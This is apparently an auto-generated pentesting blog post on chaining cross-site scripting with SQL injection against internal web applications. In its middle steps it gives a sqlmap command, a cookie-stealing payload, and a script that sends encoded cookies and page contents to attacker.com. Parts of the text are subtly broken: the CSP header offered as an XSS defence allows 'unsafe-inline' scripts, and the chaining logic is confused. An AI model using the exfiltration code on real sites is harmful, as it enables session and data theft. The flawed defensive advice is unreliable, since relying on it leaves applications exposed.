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Cross-Site Scripting (XSS) combined with SQL Injection (SQLi) is a devastating attack vector, especially against internal web applications that are often overlooked in security assessments. This article explores how these vulnerabilities can be chained for maximum impact, along with practical exploitation techniques.
You Should Know:
1. Understanding XSS and SQLi Chaining
XSS allows attackers to inject malicious scripts into web pages viewed by users, while SQLi enables unauthorized database access. When combined, an attacker can:
– Steal session cookies via XSS.
– Extract database contents via SQLi.
– Perform privilege escalation.
2. Practical Exploitation Steps
Step 1: Identify Vulnerable Parameters
Use tools like Burp Suite or OWASP ZAP to test for XSS and SQLi:
sqlmap -u "http://target.com/search?q=1" --dbs
For XSS, test payloads like:
<script>alert(document.cookie)</script>
Step 2: Craft a Chained Exploit
If the app reflects user input in SQL queries, use an XSS payload to trigger SQLi:
fetch('/vuln_page?q='+encodeURIComponent("' UNION SELECT 1,2,3--"))
Step 3: Exfiltrate Data via XSS
Use JavaScript to send stolen data to an attacker-controlled server:
var stolenData = document.cookie + "|" + document.body.innerHTML;
fetch('http://attacker.com/log?data=' + btoa(stolenData));
3. Defensive Measures
- Input Sanitization: Use libraries like DOMPurify for XSS.
- Prepared Statements: Prevent SQLi with parameterized queries.
- CSP Headers: Mitigate XSS via Content Security Policy.
add_header Content-Security-Policy "default-src 'self'; script-src 'unsafe-inline'";
What Undercode Say
Combining XSS and SQLi is a game-changer in web app pentesting, especially in internal networks where security is lax. Key takeaways:
– Linux Command for Log Analysis:
grep "XSS" /var/log/nginx/access.log | awk '{print $1}'
– Windows Command for HTTP Traffic Inspection:
Get-WinEvent -LogName "Microsoft-Windows-HttpService/Operational" | Where-Object {$_.Message -like "script"}
– Automated Scanning:
nikto -h http://target.com -Tuning 3
– Database Hardening:
ALTER USER 'app_user'@'localhost' IDENTIFIED WITH mysql_native_password BY 'StrongPass123!';
Expected Output:
A fully compromised internal web application, with exfiltrated session cookies and database contents, demonstrating the critical need for robust input validation and security hardening.
Further Reading:
References:
Reported By: Activity 7313124858869989377 – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
